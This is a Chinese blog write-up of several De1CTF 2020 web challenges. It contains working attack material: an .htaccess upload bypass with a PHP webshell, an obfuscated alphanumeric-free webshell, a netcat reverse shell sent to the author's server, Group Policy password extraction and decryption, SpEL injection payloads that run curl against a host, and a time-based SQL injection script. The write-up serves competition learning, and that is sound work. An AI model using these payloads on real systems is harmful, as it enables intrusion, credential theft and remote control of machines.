美文网首页
De1CTF 2020

De1CTF 2020

作者: byc_404 | 来源:发表于2020-05-05 19:17 被阅读0次

    终于到第二次XCTF了。没想到De1ta的题这次这么顶,果然是出给国际队伍的难度。(膜一波国内外大佬队伍)
    小绿草这次也就我们大二的几个在打,大家基本都自闭了。WEB自己也只做出两道题,说实话要是自己JAVA的学习计划再提前一点的话说不定能把calc那题出了的...这样也不至于被卡在20名开外。

    等wp出来自己争取把能做的题都复现了。

    checkin

    这题还算比较简单.就是自己一开始手贱选的mixture去做浪费了不少时间

    首先简单上传FUZZ下,会发现限制了filename,filetype以及file的内容
    其他的都还好。不过内容黑名单里
    perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents
    主要是一个ph的问题。对webshell而言,应该只能使用不闭合的短标签了

    但是因为文件后缀严格限制,所以只能按照要求上传图片马。现在需要.htaccess来控制解析它。
    幸运的是,.htaccess并没有被限制
    不过注意。.htaccess中常见的几种把.jpg解析成php的写法中,php是必不可少的.那就得绕过限制上传

    这里就有两种思路了,一种是上传cgi进行getshell,当时简单搜了下发现确实并不需要php出现

    但是更简单的是来自XNUCA的非预期解。使用\直接绕过waf。
    即使是.htaccess这种说法上不允许换行的文件,它也是支持\直接换行的,因此轻松bypass

    addtype application/x-httpd-p\
    hp .jpg
    
    <?=system('cat /flag');
    

    Hard_Pentest_1

    做完这题真的是得庆幸自己当初htb做了台windows的靶机。不然连做下去的勇气都没有

    比赛时没咋截图,将就下看吧
    首先第一步是给出的上传源码

    <?php
    //Clear the uploads directory every hour
    highlight_file(__FILE__);
    $sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    
    if($_POST["submit"]){
        if (($_FILES["file"]["size"] < 2048) && Check()){
            if ($_FILES["file"]["error"] > 0){
                die($_FILES["file"]["error"]);
            }
            else{
                $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
                move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
                echo "save in:" . $sandbox."/" . $filename;
            }
        }
        else{
            echo "Not Allow!";
        }
    }
    
    function Check(){
        $BlackExts = array("php");
        $ext = explode(".", $_FILES["file"]["name"]);
        $exts = trim(end($ext));
        $file_content = file_get_contents($_FILES["file"]["tmp_name"]);
    
        if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
            !in_array($exts, $BlackExts) && 
            !preg_match('/\.\./',$_FILES["file"]["name"])) {
              return true;
        }
        return false;
    }
    ?>
    

    webshell的限制,主要是文件后缀跟内容。
    自己一开始的想法是正则回溯绕下!preg_match()但是很快就发现文件太大传不上去。
    而且webshell连分号都没了,不好构造。
    经队友提醒是台windows靶机,可以利用windwos不区分大小写的特性上传。
    同时内容可以参考XCTFFINALlfi,用全短标签构造无字母数字webshell
    大概是下面这样的吧,当时自己写的用不出来,借了郁师傅的直接上车。

    <?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>
    

    当时还顺手nmap扫了下

    Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 13:27 CST
    Nmap scan report for 47.113.219.76
    Host is up (0.016s latency).
    Not shown: 997 filtered ports
    PORT     STATE  SERVICE       VERSION
    22/tcp   closed ssh
    80/tcp   open   http          Microsoft IIS httpd 8.5 (PHP 7.2.29)
    | http-methods: 
    |_  Potentially risky methods: TRACE
    |_http-server-header: Unknown
    |_http-title: upload
    3389/tcp closed ms-wbt-server
    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 118.83 seconds
    

    然后想抱郁师傅大腿失败了...只能靠自己了。
    因为题目同一个ip被出成两个题,基本很容易能看出来要么是单纯提权,要么是windows域渗透。

    这里windows靶机八成就是为了域渗透准备的。

    硬着头皮不管3721先弹个shell
    当时根目录有别的师傅传的NC,那就不用我自己传了。

    .\nc.exe vpsip port -e powershell 
    

    这样不至于在uploads目录被删时丢掉所有shell.
    然后传个winPEAS.exe 进行信息收集。
    这个也是做htb时学到的脚本,一般是为了提权扫描下。基本上能满足需求。
    信息里有一处比较明显


    脚本列出的信息中有一个域用户名字很敏感。HintZip_Pass
    下面开始手动信息收集

    参考这篇文章域渗透总结

    域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机

    所以域渗透的核心是通过可控的域用户,收集其中的可用信息,进一步利用其他漏洞发展更多域用户。最后能拿到管理员的哈希,基本就算渗透完整了。

    ipconfig /all可以确认处于域管理模式中

    PS C:\Users\Public> net user /domain
    net user /domain
    The request will be processed at a domain controller for domain De1CTF2020.lab.
    
    
    User accounts for \\dc.De1CTF2020.lab
    
    -------------------------------------------------------------------------------
    Administrator            De1CTF1                  de1ta                    
    Guest                    HintZip_Pass             krbtgt                   
    web                      
    The command completed successfully.
    

    查询域用户时也能得到跟winPEAS一样的关于域用户的信息。
    尝试net use

    PS C:\> net use
    net use
    New connections will be remembered.
    
    
    Status       Local     Remote                    Network
    
    -------------------------------------------------------------------------------
    OK                     \\192.168.0.12\Hint       Microsoft Windows Network
    The command completed successfully.
    

    发现\\192.168.0.12\Hint。且由于我们刚刚是建立的IPC空链接。因此可以无需用户名密码访问它。(不过我后来再看时发现这个地址没了)
    net view\\192.168.0.12\也能发现有Hint,SYSVOL,NETLOGIN几个目录

    直接pushd\\192.168.0.12\Hint进入filesystem.发现了一个flag1_and_flag2hint.zip

    基于我们玩的是多人渗透。所以最好把它copy到自己私密的位置。或者把它以其他文件格式保存下来。(因为我在思考如何把它拿下来时刚好在蚁剑的shell里发现别人的zip文件2333)
    直接下好别人的zip后,现在要一个密码

    这里就体现出信息收集的重要性了。因为我们之前发现可以用的文件夹除了Hint还有SYSVOL.所以我选择百度域渗透 SYSVOL
    得到这篇文章域渗透——利用SYSVOL还原组策略中保存的密码
    在域中,存在一个默认的共享路径\\<DOMAIN>\SYSVOL\<DOMAIN>\

    域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,默认所有域内用户可访问,虽然密码通过AES 256进行加密,密钥是公开在微软官网的。

    参考这篇文章域渗透:GPP(Group Policy Preferences)漏洞
    可以使用dir /s /a \\域控IP\SYSVOL\*.xml来尝试列出存在的xml
    dir /s /a \\192.168.0.12\SYSVOL\*.xml
    得到完整路径后读取。这里试了下type不行,gc不行。用more成了
    more \\192.168.0.12\SYSVOL\De1CTF2020.lab\Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml

    <?xml version="1.0" encoding="utf-8"?>
    <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
    </Groups>   
    

    这个cpassword恰好是属于HintZip_Pass的。那么根据上文,由于私钥暴露。只要知道公钥cpassword即可破解。

    kali有现成的gpp-decrypt 直接用gpp-decrypt uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08就成。
    得到密码后解出zip文件

    这题做完后后续提示看都不想看了.真的是难.不过收获特挺多的。
    (以后我一定好好学渗透.jpg)

    calc

    昨天比赛时没做出来...第二天zjy师傅构造出了payload。才感慨自己还是太菜了。

    抓包就能得到spel/calc?calc=的路由
    提示的这么明显,只能是spEL的表达式注入了。
    不过简单FUZZ一下,发现果不其然有waf。
    大概有这些关键字吧,
    #,getClass, T( ,java.lang, new ,String,
    想要直接RCE当然不行。所以得构造

    第一想法是查资料,找到不少师傅做code-breaking时用反射进行spEL-RCE的payload
    原本是

    Runtime.getRuntime().exec()
    

    通过反射,我们就能巧妙利用反射构造出类与方法。使用字符串拼接绕过。

    String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl xxxx");
    

    但是这里String,getClass没了。不过也有方法绕过
    使用''['class']数组直接绕
    这是参考SEAM2.3.1的一个反序化payload的改法

    ''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')
    

    然而payload打了一发发现报错。然后就无语了。这时想起来,抓包时发现header里有openrasp,估计是直接从底层把runtime之类的给hook掉了。

    然后郁师傅说不用执行命令也能读。仔细想挺有道理的,不然没必要直接告诉我们flag在根目录
    但是确实java太菜了...下面是队友教我的方法。

    New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()
    

    原来在spEL里是不区分关键字大小写的...那直接用java能读文件的类来就行了...
    Java 读文件的5种方式
    同理也可

    New java.util.Scanner(New java.io.File("/flag")).nextLine()
    

    java是真的要好好研究下了、
    ps:在推送里看到一篇文章恰好提到了De1这题。才发现dalao直接bypass openrasp进行RCE了...
    参考:bypass openrasp SpEL RCE 的过程及思考
    原来深挖spEL的底层解析源码,可发现空字符能直接bypass.所以,又可以产生完全不依赖new的实例化方法.直接空字符插进被过滤的T(中即可

    甚至进一步,还能通过反序列化的思想,不显示的加载恶意类,达成RCE。
    orz原来java的姿势这么多的么...

    mixture

    可以任意登录
    member.php注释中有 orderby
    测了下发现应该是order by 后的语句
    开始以为只能接limit
    那有且仅有procedure analyse一种方法
    但报错函数都没了。延时延不了。版本问题只能用5.6以下的函数。真心没手段了
    我有罪,这种难度的sql被卡住。该打。

    直接and 分流我居然会忘了。

    import requests
    import urllib.parse
    
    url='http://134.175.185.244/member.php?orderby='
    flag=""
    for i in range(1,30):
        print(i)
        a=0
        for str1 in "qwdfkjurlasetghnioyzxcvbpmQWDFKJURLASETGHNIOYZXCVBPM1234567890,":
            payload = "and case when (substr((select password from member),"+str(i)+",1)='"+str1+"') then (benchmark(500000,sha(1))) else 1 end"
            payload = urllib.parse.quote(payload)
            try:
                r = requests.get(url + payload, timeout=2.5)
            except requests.exceptions.ReadTimeout:
                flag+=str1
                print(flag)
                a=1
                break
        if a==0:
            break
    

    求得密码解出来得到
    goodlucktoyou

    进去后一开始发现有一个select.php任意读文件的功能与admin.php给出的phpinfo,但是读完源码后发现居然使用了自定义的Minclude这个函数来包含。phpinfo里也能看到这个函数的so文件....所以这题真面目是WEB-PWN,应该是通过调这个so来溢出执行根目录的readflag...

    然而比赛已经快结束了,等于白给。

    AnimalCrossing

    这题等wp吧...老实说不想复现了。因为题目得到flag除了要弹admin的cookie,还要从admin界面的图片获取信息...
    没见过这么磨人的xss.

    相关文章

      网友评论

          本文标题:De1CTF 2020

          本文链接:https://www.haomeiwen.com/subject/auppghtx.html